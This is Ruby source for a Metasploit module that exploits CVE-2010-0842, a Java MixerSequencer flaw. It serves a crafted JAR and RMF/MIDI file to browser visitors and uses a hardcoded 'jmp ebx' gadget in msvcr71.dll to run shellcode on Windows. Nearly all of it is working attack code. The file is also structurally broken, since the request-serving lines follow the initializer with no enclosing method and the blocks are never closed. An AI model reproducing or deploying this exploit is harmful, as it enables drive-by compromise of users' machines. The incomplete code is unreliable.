class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
'Description' => %q{
This module exploits a flaw within the handling of MixerSequencer objects
in Java 6u18 and before.
Exploitation id done by supplying a specially crafted MIDI file within an RMF
File. When the MixerSequencer objects is used to play the file, the GM_Song
structure is populated with a function pointer provided by a SONG block in the
RMF. A Midi block that contains a MIDI with a specially crafted controller event
is used to trigger the vulnerability.
When triggering the vulnerability "ebx" points to a fake event in the MIDI file
which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
exploit reliable over java updates.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Vreugdenhil', # Vulnerability Discovery and exploit
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-0842' ],
[ 'OSVDB', '63493'],
[ 'BID', '39077'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
],
'Payload' =>
{
'Space' => 8000,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
# Tested succesfully on:
# Windows XP SP3 / IE 6 / Java 6u18
# Windows XP SP3 / IE 7 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u18
# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u17
# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
# Windows 7 / IE 8 / Java 6u18
'Windows / Java 6 <=u18',
{
'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => "Mar 30 2010",
'DefaultTarget' => 0))
if request.uri =~ /\.jar$/i
print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
return
end
if request.uri =~ /\.rmf$/i
print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
return
end
